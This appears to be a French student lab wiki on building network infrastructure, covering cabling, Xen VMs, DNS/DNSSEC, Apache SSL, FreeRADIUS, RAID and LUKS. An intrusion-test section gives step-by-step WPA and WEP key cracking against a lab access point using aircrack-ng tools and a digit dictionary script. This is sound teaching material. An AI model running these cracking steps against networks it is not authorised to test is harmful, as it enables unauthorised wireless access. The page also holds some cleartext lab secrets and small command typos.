Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
== 2.Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
==4.Services internet==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 @      IN      A       193.48.57.183&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves&lt;br /&gt;
&lt;br /&gt;
ZONES INVERSES A FAIRE&lt;br /&gt;
&lt;br /&gt;
===DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :&lt;br /&gt;
   dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
Création de la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
 :&lt;br /&gt;
Création de  la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
&lt;br /&gt;
On renomme ces clef : &lt;br /&gt;
  hercule.space-ksk.key&lt;br /&gt;
  hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Puis on les inclus dans le fichier /etc/bind/db.hercule.space&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrements de la zone :&lt;br /&gt;
  dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
  file &amp;quot;/etc/bind/db.hercule.space.signed&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hercule.space.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 Redirect / https://www.hercule.space&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
On active enfin le module SSL, notre site, et on redémarre le service apache :&lt;br /&gt;
  a2enmod ssl&lt;br /&gt;
  a2ensite hercule.space.conf&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Serveur Freeradius===&lt;br /&gt;
&lt;br /&gt;
Installation de Freeradius sur la vm :&lt;br /&gt;
  apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute : &lt;br /&gt;
  hercule Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers : &lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
  default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
  use_mppe = yes&lt;br /&gt;
  require_encryption = yes&lt;br /&gt;
  require_strong = yes&lt;br /&gt;
  with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :&lt;br /&gt;
  client 192.168.0.10/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  client 192.168.0.11/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On met à jour la configuration : &lt;br /&gt;
  ldconfig&lt;br /&gt;
&lt;br /&gt;
== 5. Tests d'intrusion ==&lt;br /&gt;
===Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8 &amp;gt;&amp;gt; dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Le crack est effectué en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/dictionnaire.txt /path_to_file/*.cap&lt;br /&gt;
&lt;br /&gt;
Nous récupérons la clé après quelques heures de calcul :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack groupe7.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===Cassage de clé WEP===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef012c92&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants protégés en WEP en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --channel 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlan0mon&lt;br /&gt;
&lt;br /&gt;
En parallèle, on simule une connexion au point d'accès pour récupérer le handshake : &lt;br /&gt;
 $ aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On réalise le cassage : &lt;br /&gt;
 $ aircrack-ng ./path_to_folder/cracotte07.cap&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:cassagewep07.png|600px]]&lt;br /&gt;
&lt;br /&gt;
== 6. Réalisation ==&lt;br /&gt;
&lt;br /&gt;
===6.1 Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Création de trois partitions LVM de 1Go sur Cordouan : &lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule1 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule2 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule3 -v&lt;br /&gt;
&lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :&lt;br /&gt;
&lt;br /&gt;
  'phy:/dev/virtual/hercule1,xvdc1,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule2,xvdc2,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule3,xvdc3,w'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Installation du paquetage mdadm pour réaliser le RAID5 logiciel :&lt;br /&gt;
  apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
Création du RAID5 :&lt;br /&gt;
  mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
&lt;br /&gt;
On formate le RAID créé : &lt;br /&gt;
  mkfs -t ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
On monte le RAID dans notre VM : &lt;br /&gt;
  mount /dev/md0 /mnt &lt;br /&gt;
&lt;br /&gt;
On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config.&lt;br /&gt;
On relance la VM. Puis on essaye de remonter le RAID : &lt;br /&gt;
En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande : &lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier : &lt;br /&gt;
  mount /dev/md127 /mnt&lt;br /&gt;
On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Raidhercule.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===6.1 Cryptage de données===&lt;br /&gt;
&lt;br /&gt;
Dans notre cas, nous n'utilisons pas une carte SD. Nous créons cependant une partition de 1 Giga sur cordouan sur laquelle on travaillera :&lt;br /&gt;
&lt;br /&gt;
$ lvcreate -L 1G -n /dev/virtual/hercule-crypt -v&lt;br /&gt;
&lt;br /&gt;
Une fois cette action réalisée, et la partition intégrée au fichier de configuration de la machine virtuelle sous forme de volume, de nom xvdd1, nous récupérons les paquets lvm2 et cryptsetup.&lt;br /&gt;
Lorsque la récupération est terminée, nous sécurisons la partition de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat -c aes -h sha256 /dev/xvdd1&lt;br /&gt;
&lt;br /&gt;
Cette commande permet de formater la partiton au type LUKS et chiffre en AES avec un algorithme de hashage SHA256. Nous choisissons une phrase de chiffrement.&lt;br /&gt;
&lt;br /&gt;
Une fois la partition chiffrée, nous ouvrons un volume dans notre partition chiffrée :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/xvdd1 home&lt;br /&gt;
&lt;br /&gt;
Nous la formatons en ext4 :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs -t ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Enfin, nous montons la partition sous /mnt :&lt;br /&gt;
&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/home /mnt&lt;br /&gt;
&lt;br /&gt;
Nous y créeons ensuite un fichier texte.&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:ArchitectureMehCret.png&amp;diff=49122</id>
		<title>Fichier:ArchitectureMehCret.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:ArchitectureMehCret.png&amp;diff=49122"/>
				<updated>2018-12-21T17:47:24Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : Nmehanna a téléversé une nouvelle version de Fichier:ArchitectureMehCret.png&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48892</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48892"/>
				<updated>2018-12-17T16:49:43Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* 6. Réalisation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
